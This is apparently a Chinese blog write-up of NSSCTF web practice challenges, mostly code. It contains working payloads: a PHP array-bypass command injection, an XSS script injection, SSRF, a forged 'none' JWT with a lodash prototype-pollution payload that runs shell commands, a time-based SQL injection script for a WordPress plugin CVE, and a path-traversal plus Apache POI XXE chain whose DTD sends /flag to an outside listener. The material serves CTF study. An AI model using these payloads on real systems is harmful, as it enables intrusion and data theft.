Web CTF NSSCTF练习1 1azy_fish. 2024-04-16 2024-04-29 prize_p6 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php function x ( ) { exit (); } if (isset ($_GET ['f' ])){ $content = $_GET ['content' ]; if (preg_match ('/index|function|x|iconv|UCS|UTF|rot|zlib|quoted|base64|%|toupper|tolower|strip_tags|dechunk|\.\./i' , $content )) { die ('hacker' ); } if ($_GET ['f' ] == "create" ){ file_put_contents ($content , '<?=x();?>' . $content ); } elseif ($_GET ['f' ] == "edit" ){ $s1 = $_GET ['s1' ]; $s2 = $_GET ['s2' ]; if (strlen ($s1 ) > 20 || strlen ($s2 ) > 20 || preg_match ('/\=|x| |\?|\<|\>|\(|\)/i' , $s1 ) || preg_match ('/\=|x| |\?|\<|\>|\(|\)/i' , $s2 )) { die ('hacker' ); } if (file_exists ($content )){ $s = file_get_contents ($content ); $s = str_replace ($s1 , $s2 , $s ); file_put_contents ($content , $s ); } else { die ("file no exits!" ); } } else { include ($content ); } }else { highlight_file (__FILE__ ); } ?>
简单的数组绕过正则匹配,实现任意文件上传
1 2 3 ?f=create&content=1.php ?f=edit&content=1.php&s1[]=x()&s2=system('ls /') ?f=edit&content=1.php&s1[]=system('ls /')&s2[]=system('cat /nssctf_prize_flag_is_here_dasdasd')
门酱想玩什么呢? 初始部分的源代码发现hint
进入提示php得到部分源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );$contentLines = explode (" " , $comment ['content' ]);if (preg_match ('/^https?:\/\/\S+$/' , $contentLines [0 ])) { if (preg_match ('/^https?:\/\/[^\/]+\/\S+\.png$/' , $contentLines [0 ], $matches ) && end ($contentLines ) === '/png' ) { $urlParts = parse_url ($matches [0 ]); if ($urlParts !== false ) { echo '<img class="content" src="' . $matches [0 ] . '">' ; } } }
parse_url()
(PHP 4, PHP 5, PHP 7, PHP 8)
parse_url()
— 解析 URL,返回其组成部分
说明parse_url(string $url, int $component = -1): int|string|array|null|false
本函数解析 URL 并返回关联数组,包含在 URL 中出现的各种组成部分。数组的元素值不会 URL 解码。
本函数不是用来验证给定 URL 的有效性的,只是将其分解为下面列出的部分。也会接受不完整或无效的 URL,parse_url() 会尝试尽量正确解析。
对于严重错误的url会返回false
#1 parse_url() 例子
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $url = 'http://username:password@hostname:9090/path?arg=value#anchor' ;var_dump (parse_url ($url ));var_dump (parse_url ($url , PHP_URL_SCHEME));var_dump (parse_url ($url , PHP_URL_USER));var_dump (parse_url ($url , PHP_URL_PASS));var_dump (parse_url ($url , PHP_URL_HOST));var_dump (parse_url ($url , PHP_URL_PORT));var_dump (parse_url ($url , PHP_URL_PATH));var_dump (parse_url ($url , PHP_URL_QUERY));var_dump (parse_url ($url , PHP_URL_FRAGMENT));?>
以上示例会输出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 array(8 ) { ["scheme"]=> string(4 ) "http" ["host"]=> string(8 ) "hostname" ["port"]=> int(9090 ) ["user"]=> string(8 ) "username" ["pass"]=> string(8 ) "password" ["path "]=> string(5 ) "/path " ["query"]=> string(9 ) "arg=value" ["fragment"]=> string(6 ) "anchor" } string(4 ) "http" string(8 ) "username" string(8 ) "password" string(8 ) "hostname" int(9090 ) string(5 ) "/path " string(9 ) "arg=value" string(6 ) "anchor"
#2 parse_url() 解析丢失协议的例子
1 2 3 4 5 6 <?php $url = '//www.example.com/path?googleguy=googley' ;var_dump (parse_url ($url ));?>
以上示例会输出:
1 2 3 4 5 6 7 8 array(3 ) { ["host"]=> string(15 ) "www.example.com" ["path "]=> string(5 ) "/path " ["query"]=> string(17 ) "googleguy=googley" }
看起来像是评论给图片链接部分的代码,echo '<img class="content" src="' . $matches[0] . '">';
一看就是可以xss拼接的
构造payload
http://""><script>document.location="https://ymzx.qq.com/";</script>.png 123 /png
成功插入重定向
[网鼎杯 2020 玄武组]SSRFMe 进入得到部分源代码,提示有hint.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <?php function check_inner_ip ($url ) { $match_result =preg_match ('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/' ,$url ); if (!$match_result ) { die ('url fomat error' ); } try { $url_parse =parse_url ($url ); } catch (Exception $e ) { die ('url fomat error' ); return false ; } $hostname =$url_parse ['host' ]; $ip =gethostbyname ($hostname ); $int_ip =ip2long ($ip ); return ip2long ('127.0.0.0' )>>24 == $int_ip >>24 || ip2long ('10.0.0.0' )>>24 == $int_ip >>24 || ip2long ('172.16.0.0' )>>20 == $int_ip >>20 || ip2long ('192.168.0.0' )>>16 == $int_ip >>16 ; } function safe_request_url ($url ) { if (check_inner_ip ($url )) { echo $url .' is inner ip' ; } else { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ($ch , CURLOPT_HEADER, 0 ); $output = curl_exec ($ch ); $result_info = curl_getinfo ($ch ); if ($result_info ['redirect_url' ]) { safe_request_url ($result_info ['redirect_url' ]); } curl_close ($ch ); var_dump ($output ); } } if (isset ($_GET ['url' ])){ $url = $_GET ['url' ]; if (!empty ($url )){ safe_request_url ($url ); } } else { highlight_file (__FILE__ ); } ?>
其中ip2long()
函数可以将id转换为长整型的数据
然后就是
$output = curl_exec($ch);
和var_dump($output);
这两句代码可以实现ssrf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php $url = 'http://www.example.com/empty_file.txt' ; $curl = curl_init (); curl_setopt ($curl , CURLOPT_URL, $url ); curl_setopt ($curl , CURLOPT_RETURNTRANSFER, true ); curl_setopt ($curl , CURLOPT_HEADER, false ); $str = curl_exec ($curl ); curl_close ($curl ); var_dump ($str ); ?>
那么我们可以先尝试读取hint.php
构造http://0.0.0.0/hint.php
得到
1 2 3 4 5 6 7 string (1360 ) " <?php if($_SERVER ['REMOTE_ADDR']===" 127.0 .0.1 "){ highlight_file(__FILE__); } if(isset($_POST ['file'])){ file_put_contents($_POST ['file']," <?php echo 'redispass is root' ;exit ();".$_POST ['file']); } "
接下来是redis中从RCE,后面再写。
[NSSCTF 2nd]MyJs 访问/source有源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 const express = require ('express' );const bodyParser = require ('body-parser' );const lodash = require ('lodash' );const session = require ('express-session' );const randomize = require ('randomatic' );const jwt = require ('jsonwebtoken' )const crypto = require ('crypto' );const fs = require ('fs' );global .secrets = [];express ().use (bodyParser.urlencoded ({extended : true })) .use (bodyParser.json ()) .use ('/static' , express.static ('static' )) .set ('views' , './views' ) .set ('view engine' , 'ejs' ) .use (session ({ name : 'session' , secret : randomize ('a' , 16 ), resave : true , saveUninitialized : true })) .get ('/' , (req, res ) => { if (req.session .data ) { res.redirect ('/home' ); } else { res.redirect ('/login' ) } }) .get ('/source' , (req, res ) => { res.set ('Content-Type' , 'text/javascript;charset=utf-8' ); res.send (fs.readFileSync (__filename)); }) .all ('/login' , (req, res ) => { if (req.method == "GET" ) { res.render ('login.ejs' , {msg : null }); } if (req.method == "POST" ) { const {username, password, token} = req.body ; const sid = JSON .parse (Buffer .from (token.split ('.' )[1 ], 'base64' ).toString ()).secretid ; if (sid === undefined || sid === null || !(sid < global .secrets .length && sid >= 0 )) { return res.render ('login.ejs' , {msg : 'login error.' }); } const secret = global .secrets [sid]; const user = jwt.verify (token, secret, {algorithm : "HS256" }); if (username === user.username && password === user.password ) { req.session .data = { username : username, count : 0 , } res.redirect ('/home' ); } else { return res.render ('login.ejs' , {msg : 'login error.' }); } } }) .all ('/register' , (req, res ) => { if (req.method == "GET" ) { res.render ('register.ejs' , {msg : null }); } if (req.method == "POST" ) { const {username, password} = req.body ; if (!username || username == 'nss' ) { return res.render ('register.ejs' , {msg : "Username existed." }); } const secret = crypto.randomBytes (16 ).toString ('hex' ); const secretid = global .secrets .length ; global .secrets .push (secret); const token = jwt.sign ({secretid, username, password}, secret, {algorithm : "HS256" }); res.render ('register.ejs' , {msg : "Token: " + token}); } }) .all ('/home' , (req, res ) => { if (!req.session .data ) { return res.redirect ('/login' ); } res.render ('home.ejs' , { username : req.session .data .username ||'NSS' , count : req.session .data .count ||'0' , msg : null }) }) .post ('/update' , (req, res ) => { if (!req.session .data ) { return res.redirect ('/login' ); } if (req.session .data .username !== 'nss' ) { return res.render ('home.ejs' , { username : req.session .data .username ||'NSS' , count : req.session .data .count ||'0' , msg : 'U cant change uid' }) } let data = req.session .data || {}; req.session .data = lodash.merge (data, req.body ); console .log (req.session .data .outputFunctionName ); res.redirect ('/home' ); }) .listen (827 , '0.0.0.0' )
可以看到他的/home和/update路由都是基于session的,然后session是有jwt构造的,可以jwt伪造,js是有jwt验证缺陷的,当用户传入jwt secretid为空时 jsonwebtoken会采用algorithm none进行解密,即便在登录验证代码部分const user = jwt.verify(token, secret, {algorithm: 'HS256'});
后面的算法指名为 HS256,验证也还是按照 none 来验证通过的。这样我们就可以写一个简单的脚本,伪造jwt
1 2 3 import jwttoken = jwt.encode({"username" :"nss" ,"password" :"admin" ,"secretid" :"0x0" },algorithm="none" ,key="" ).decode(encoding="utf-8" ) print (token)
通过merge进行原型链污染
1 2 req.session .data = lodash.merge (data, req.body ); console .log (req.session .data .outputFunctionName );
1 {"__proto__" :{"outputFunctionName" :"_tmp1;global.process.mainModule.require('child_process').exec('env');var __tmp2" }}
[HNCTF 2022 WEEK2]ohmywordpress 给了源代码,看到版本号为
找对对应的漏洞CVE-2022-0760 有下面的payload
查看源代码部分
/wp-admin/admin-ajax.php
有
1 2 3 4 5 6 7 8 if ( ! empty ( $_GET ['action' ] ) && in_array ( $_GET ['action' ], $core_actions_get , true ) ) { add_action ( 'wp_ajax_' . $_GET ['action' ], 'wp_ajax_' . str_replace ( '-' , '_' , $_GET ['action' ] ), 1 ); } if ( ! empty ( $_POST ['action' ] ) && in_array ( $_POST ['action' ], $core_actions_post , true ) ) { add_action ( 'wp_ajax_' . $_POST ['action' ], 'wp_ajax_' . str_replace ( '-' , '_' , $_POST ['action' ] ), 1 ); }
这段代码拼接了action,在action=qcopd_upvote_action
的时候进入qc-opd-ajax-stuffs.php
执行upvote_ajax_action_stuff()
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 function upvote_ajax_action_stuff ( ) { $action = sanitize_text_field ($_POST ['action' ]); $post_id = sanitize_text_field ($_POST ['post_id' ]); $meta_title = sanitize_text_field ($_POST ['meta_title' ]); $meta_link = esc_url_raw ($_POST ['meta_link' ]); $li_id = sanitize_text_field ($_POST ['li_id' ]); global $wpdb ; $results = $wpdb ->get_results ("SELECT * FROM $wpdb ->postmeta WHERE post_id = $post_id AND meta_key = 'qcopd_list_item01'" ); $votes = 0 ; $data ['votes' ] = 0 ; $data ['vote_status' ] = 'failed' ; $exists = @in_array ("$li_id " , @$_COOKIE ['voted_li' ]); if (!$exists ) { foreach ($results as $key => $value ) { $item = $value ; $meta_id = $value ->meta_id; $unserialized = unserialize ($value ->meta_value); if (trim ($unserialized ['qcopd_item_title' ]) == trim ($meta_title ) && trim ($unserialized ['qcopd_item_link' ]) == trim ($meta_link )) { $metaId = $meta_id ; $upvote_count = 0 ; $new_array = array (); $flag = 0 ; if (array_key_exists ('qcopd_upvote_count' , $unserialized )) { $upvote_count = (int )$unserialized ['qcopd_upvote_count' ]; $flag = 1 ; } foreach ($unserialized as $key => $value ) { if ($flag ) { if ($key == 'qcopd_upvote_count' ) { $new_array [$key ] = $upvote_count + 1 ; } else { $new_array [$key ] = $value ; } } else { $new_array [$key ] = $value ; } } if (!$flag ) { $new_array ['qcopd_upvote_count' ] = $upvote_count + 1 ; } $votes = (int )$new_array ['qcopd_upvote_count' ]; $updated_value = serialize ($new_array ); $wpdb ->update ( $wpdb ->postmeta, array ( 'meta_value' => $updated_value , ), array ('meta_id' => $metaId ) ); $voted_li = array ("$li_id " ); $total = 0 ; $total = count ($_COOKIE ['voted_li' ]); $total = $total + 1 ; setcookie ("voted_li[$total ]" , $li_id , time () + (86400 * 30 ), "/" ); $data ['vote_status' ] = 'success' ; $data ['votes' ] = $votes ; } } } $data ['cookies' ] = $_COOKIE ['voted_li' ]; echo json_encode ($data ); die (); }
实际上在
可以执行sql注入
接下来就是写时间注入脚本爆出flag就好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsimport timeurl = "http://node5.anna.nssctf.cn:22835/wp-admin/admin-ajax.php" result = "" for i in range (1 ,100 ): for j in range (32 ,128 ): data = { "action" :"qcopd_upvote_action" , "post_id" : f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(a) from (select 1 as a union select * from ctftraining.flag)b),{i} ,1))={j} ,sleep(3),0))enz)" } time1 = time.time() res = requests.post(url, data=data) time2 = time.time() if time2 - time1 > 3 : result += chr (j) print (result) break
[网鼎杯 2020青龙组]FileJava 进入是一个上传页面
上传之后发现可以下载
尝试任意文件下载
不让读取flag,那么我们先把源代码读出来
1 http://node4.anna.nssctf.cn:28837/file_in_java/DownloadServlet?filename=../../../web.xml
得到目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?xml version="1.0" encoding="UTF-8" ?> <web-app xmlns ="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version ="4.0" > <servlet > <servlet-name > DownloadServlet</servlet-name > <servlet-class > cn.abc.servlet.DownloadServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > DownloadServlet</servlet-name > <url-pattern > /DownloadServlet</url-pattern > </servlet-mapping > <servlet > <servlet-name > ListFileServlet</servlet-name > <servlet-class > cn.abc.servlet.ListFileServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > ListFileServlet</servlet-name > <url-pattern > /ListFileServlet</url-pattern > </servlet-mapping > <servlet > <servlet-name > UploadServlet</servlet-name > <servlet-class > cn.abc.servlet.UploadServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > UploadServlet</servlet-name > <url-pattern > /UploadServlet</url-pattern > </servlet-mapping > </web-app >
依次读出三个配置文件
1 http://node4.anna.nssctf.cn:28837/file_in_java/DownloadServlet?filename=../../../classes/cn/abc/servlet/DownloadServlet.class
1 http://node4.anna.nssctf.cn:28837/file_in_java/DownloadServlet?filename=../../../classes/cn/abc/servlet/ListFileServlet.class
1 http://node4.anna.nssctf.cn:28837/file_in_java/DownloadServlet?filename=../../../classes/cn/abc/servlet/UploadServlet.class
得到源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 package cn.abc.servlet;import java.io.File;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.util.Iterator;import java.util.List;import java.util.UUID;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import org.apache.commons.fileupload.FileItem;import org.apache.commons.fileupload.FileUploadException;import org.apache.commons.fileupload.disk.DiskFileItemFactory;import org.apache.commons.fileupload.servlet.ServletFileUpload;import org.apache.poi.openxml4j.exceptions.InvalidFormatException;import org.apache.poi.ss.usermodel.Sheet;import org.apache.poi.ss.usermodel.Workbook;import org.apache.poi.ss.usermodel.WorkbookFactory;public class UploadServlet extends HttpServlet { private static final long serialVersionUID = 1L ; public UploadServlet () { } protected void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this .doPost(request, response); } protected void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String savePath = this .getServletContext().getRealPath("/WEB-INF/upload" ); String tempPath = this .getServletContext().getRealPath("/WEB-INF/temp" ); File tempFile = new File (tempPath); if (!tempFile.exists()) { tempFile.mkdir(); } String message = "" ; try { DiskFileItemFactory factory = new DiskFileItemFactory (); factory.setSizeThreshold(102400 ); factory.setRepository(tempFile); ServletFileUpload upload = new ServletFileUpload (factory); upload.setHeaderEncoding("UTF-8" ); upload.setFileSizeMax(1048576L ); upload.setSizeMax(10485760L ); if (!ServletFileUpload.isMultipartContent(request)) { return ; } List<FileItem> list = upload.parseRequest(request); Iterator var10 = list.iterator(); label56: while (true ) { while (true ) { if (!var10.hasNext()) { break label56; } FileItem fileItem = (FileItem)var10.next(); String filename; String fileExtName; if (fileItem.isFormField()) { filename = fileItem.getFieldName(); fileExtName = fileItem.getString("UTF-8" ); } else { filename = fileItem.getName(); if (filename != null && !filename.trim().equals("" )) { fileExtName = filename.substring(filename.lastIndexOf("." ) + 1 ); InputStream in = fileItem.getInputStream(); if (filename.startsWith("excel-" ) && "xlsx" .equals(fileExtName)) { try { Workbook wb1 = WorkbookFactory.create(in); Sheet sheet = wb1.getSheetAt(0 ); System.out.println(sheet.getFirstRowNum()); } catch (InvalidFormatException var20) { System.err.println("poi-ooxml-3.10 has something wrong" ); var20.printStackTrace(); } } String saveFilename = this .makeFileName(filename); request.setAttribute("saveFilename" , saveFilename); request.setAttribute("filename" , filename); String realSavePath = this .makePath(saveFilename, savePath); FileOutputStream out = new FileOutputStream (realSavePath + "/" + saveFilename); byte [] buffer = new byte [1024 ]; int len = false ; int len; while ((len = in.read(buffer)) > 0 ) { out.write(buffer, 0 , len); } in.close(); out.close(); message = "文件上传成功!" ; } } } } } catch (FileUploadException var21) { var21.printStackTrace(); } request.setAttribute("message" , message); request.getRequestDispatcher("/ListFileServlet" ).forward(request, response); } private String makeFileName (String filename) { return UUID.randomUUID().toString() + "_" + filename; } private String makePath (String filename, String savePath) { int hashCode = filename.hashCode(); int dir1 = hashCode & 15 ; int dir2 = (hashCode & 240 ) >> 4 ; String dir = savePath + "/" + dir1 + "/" + dir2; File file = new File (dir); if (!file.exists()) { file.mkdirs(); } return dir; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package cn.abc.servlet;import java.io.IOException;import java.util.HashMap;import java.util.Map;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class ListFileServlet extends HttpServlet { private static final long serialVersionUID = 1L ; public ListFileServlet () { } protected void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this .doPost(request, response); } protected void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String uploadFilePath = this .getServletContext().getRealPath("/WEB-INF/upload" ); Map<String, String> fileNameMap = new HashMap (); String saveFilename = (String)request.getAttribute("saveFilename" ); String filename = (String)request.getAttribute("filename" ); System.out.println("saveFilename" + saveFilename); System.out.println("filename" + filename); saveFilename.substring(saveFilename.indexOf("_" ) + 1 ); fileNameMap.put(saveFilename, filename); request.setAttribute("fileNameMap" , fileNameMap); request.getRequestDispatcher("/listfile.jsp" ).forward(request, response); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 package cn.abc.servlet;import java.io.File;import java.io.FileInputStream;import java.io.IOException;import java.net.URLEncoder;import javax.servlet.ServletException;import javax.servlet.ServletOutputStream;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class DownloadServlet extends HttpServlet { private static final long serialVersionUID = 1L ; public DownloadServlet () { } protected void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this .doPost(request, response); } protected void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String fileName = request.getParameter("filename" ); fileName = new String (fileName.getBytes("ISO8859-1" ), "UTF-8" ); System.out.println("filename=" + fileName); if (fileName != null && fileName.toLowerCase().contains("flag" )) { request.setAttribute("message" , "禁止读取" ); request.getRequestDispatcher("/message.jsp" ).forward(request, response); } else { String fileSaveRootPath = this .getServletContext().getRealPath("/WEB-INF/upload" ); String path = this .findFileSavePathByFileName(fileName, fileSaveRootPath); File file = new File (path + "/" + fileName); if (!file.exists()) { request.setAttribute("message" , "您要下载的资源已被删除!" ); request.getRequestDispatcher("/message.jsp" ).forward(request, response); } else { String realname = fileName.substring(fileName.indexOf("_" ) + 1 ); response.setHeader("content-disposition" , "attachment;filename=" + URLEncoder.encode(realname, "UTF-8" )); FileInputStream in = new FileInputStream (path + "/" + fileName); ServletOutputStream out = response.getOutputStream(); byte [] buffer = new byte [1024 ]; int len = false ; int len; while ((len = in.read(buffer)) > 0 ) { out.write(buffer, 0 , len); } in.close(); out.close(); } } } public String findFileSavePathByFileName (String filename, String saveRootPath) { int hashCode = filename.hashCode(); int dir1 = hashCode & 15 ; int dir2 = (hashCode & 240 ) >> 4 ; String dir = saveRootPath + "/" + dir1 + "/" + dir2; File file = new File (dir); if (!file.exists()) { file.mkdirs(); } return dir; } }
代码审计之后得到关键代码
1 2 3 4 5 6 7 8 9 10 if (filename.startsWith("excel-" ) && "xlsx" .equals(fileExtName)) { try { Workbook wb1 = WorkbookFactory.create(in); Sheet sheet = wb1.getSheetAt(0 ); System.out.println(sheet.getFirstRowNum()); } catch (InvalidFormatException var20) { System.err.println("poi-ooxml-3.10 has something wrong" ); var20.printStackTrace(); } }
这里使用java使用WorkbookFactory.create()
解析了excel-开头的xlsl文件
apache poi 在3.10.1之前存在XXE漏洞
excel 文件中的 [Content_Types].xml 、 /xl/workbook.xml 、 /xl/worksheets/shee1.xml 可添加 xxe_payload 触发漏洞。
1 2 3 4 <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip:port/evil.dtd" > %remote;%int;%send; ]>
服务器
1 2 <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:port?p=%file;'>">
监听就好